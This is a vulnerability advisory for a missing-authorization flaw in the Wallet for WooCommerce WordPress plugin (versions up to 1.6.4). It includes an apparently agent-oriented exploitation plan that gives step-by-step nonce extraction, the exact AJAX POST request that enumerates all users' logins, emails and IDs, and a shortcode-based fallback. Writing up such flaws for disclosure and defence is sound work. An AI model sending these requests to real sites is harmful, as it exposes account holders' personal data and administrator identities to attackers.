Wallet for WooCommerce <= 1.6.4 - Missing Authorization to Authenticated (Subscriber+) User/Email Enumeration via terawallet_export_user_search AJAX Action
Description
The Wallet for WooCommerce plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.6.4. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to enumerate the login name, email address, and user ID of all WordPress accounts — including administrators — by submitting arbitrary search terms to the AJAX handler. The required 'search-user' nonce is localized into the wallet_param object on the standard WooCommerce My Account page, which is accessible to any authenticated user, making it trivially obtainable by a Subscriber.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.6.5
Source Code
WordPress.org SVNThis exploitation research plan targets **CVE-2026-12103**, a missing authorization vulnerability in the **Wallet for WooCommerce (TeraWallet)** plugin. The goal is to demonstrate how an authenticated user with Subscriber-level permissions can enumerate all registered users' login names and email ad…
Show full research plan
This exploitation research plan targets CVE-2026-12103, a missing authorization vulnerability in the Wallet for WooCommerce (TeraWallet) plugin. The goal is to demonstrate how an authenticated user with Subscriber-level permissions can enumerate all registered users' login names and email addresses.
1. Vulnerability Summary
The vulnerability exists in the terawallet_export_user_search function within includes/class-woo-wallet-ajax.php. While the function performs a nonce check and a capability check, the capability check relies on get_wallet_user_capability(). In affected versions, this capability defaults to one held by Subscriber-level users, or the function fails to enforce administrative restrictions required for global user enumeration. Consequently, any authenticated user can query the WordPress user database via the AJAX endpoint.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
terawallet_export_user_search - HTTP Method:
POST - Parameters:
action:terawallet_export_user_search(Required)security: Thesearch-usernonce (Required)term: The search string for enumeration (e.g.,aor@)
- Authentication: Authenticated (Subscriber or higher)
- Preconditions: The attacker must obtain a valid nonce, which is localized for all authenticated users on the "My Account" page.
3. Code Flow
- Entry Point: The AJAX request triggers
wp_ajax_terawallet_export_user_search, which callsWoo_Wallet_Ajax::terawallet_export_user_search(). - Nonce Verification:
check_ajax_referer( 'search-user', 'security' )(Line 186) validates the transaction-specific token. - Authorization Check:
get_wallet_user_capability()(Line 188) is invoked. The vulnerability stems from this function returningtrueor a low-privilege capability (likeread) for Subscriber users. - Data Sink:
get_users()(Line 195) is called with the user-providedtermmapped to thesearchparameter with wildcards (*term*). It specifically searchesuser_login,user_nicename, anduser_email. - Data Exposure: The results are looped (Lines 203-210) and returned via
wp_send_json(), leaking theuser_loginanduser_email.
4. Nonce Acquisition Strategy
The search-user nonce is required to bypass the check_ajax_referer check. The plugin localizes this nonce into the wallet_param JavaScript object on pages where wallet functionality is initialized, specifically the WooCommerce "My Account" page.
Acquisition Steps:
- Log in as a Subscriber user.
- Navigate to the
/my-account/page. - The nonce is embedded in the HTML source within a script block.
- Use the
browser_evaltool to extract the nonce:
(Note: Based on standard TeraWallet localization patterns, the key is expected to bebrowser_eval("window.wallet_param?.search_user_nonce")search_user_nonceor similar within thewallet_paramobject).
5. Exploitation Strategy
The exploitation involves sending a crafted POST request to the AJAX endpoint using the obtained nonce.
Step-by-Step Plan:
- Login: Authenticate as a Subscriber user and capture the session cookies.
- Retrieve Nonce: Navigate to
/my-account/and extract thesecuritytoken fromwallet_param. - Perform Enumeration: Use the
http_requesttool to send a search query.- URL:
http://[target]/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=terawallet_export_user_search&security=[NONCE]&term=@
(Using@is effective for capturing all email addresses;aoreare effective for capturing common logins).
- URL:
6. Test Data Setup
To verify the vulnerability, the environment should contain:
- Administrator Account: (e.g.,
admin_user / admin@example.com). - Victim Account: A second user to prove enumeration (e.g.,
victim_user / victim@example.com). - Attacker Account: A Subscriber-level user (e.g.,
attacker / attacker@example.com). - Plugin Config: Default "Wallet for WooCommerce" installation.
- Page Setup: Ensure the WooCommerce "My Account" page is published and accessible to the
attackeruser.
7. Expected Results
A successful exploit will return a 200 OK status with a JSON array. Each element in the array will contain:
label: A string formatted asUsername (email@example.com).value: The integer User ID.
Example Response:
[
{"label": "admin (admin@example.com)", "value": 1},
{"label": "victim_user (victim@example.com)", "value": 2},
{"label": "attacker (attacker@example.com)", "value": 3}
]
8. Verification Steps
After the exploit, verify the accuracy of the leaked data using WP-CLI:
- List Users: Run
wp user list --fields=ID,user_login,user_emailand compare the output to the JSON returned by the exploit. - Confirm Capability: Check the return value of the capability helper for a Subscriber:
wp eval "wp_set_current_user( [ATTACKER_ID] ); echo get_wallet_user_capability();"
9. Alternative Approaches
If wallet_param is not found on the My Account page:
- Shortcode Discovery: Scan the source code for
add_shortcode(e.g.,[terawallet_dashboard]). - Page Creation: Create a private page with the discovered shortcode:
wp post create --post_type=page --post_status=publish --post_content='[terawallet_dashboard]' --post_author=[ATTACKER_ID] - Re-attempt Extraction: Navigate to the new page and attempt to extract
wallet_paramagain, as the shortcode often triggers the script and nonce localization.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.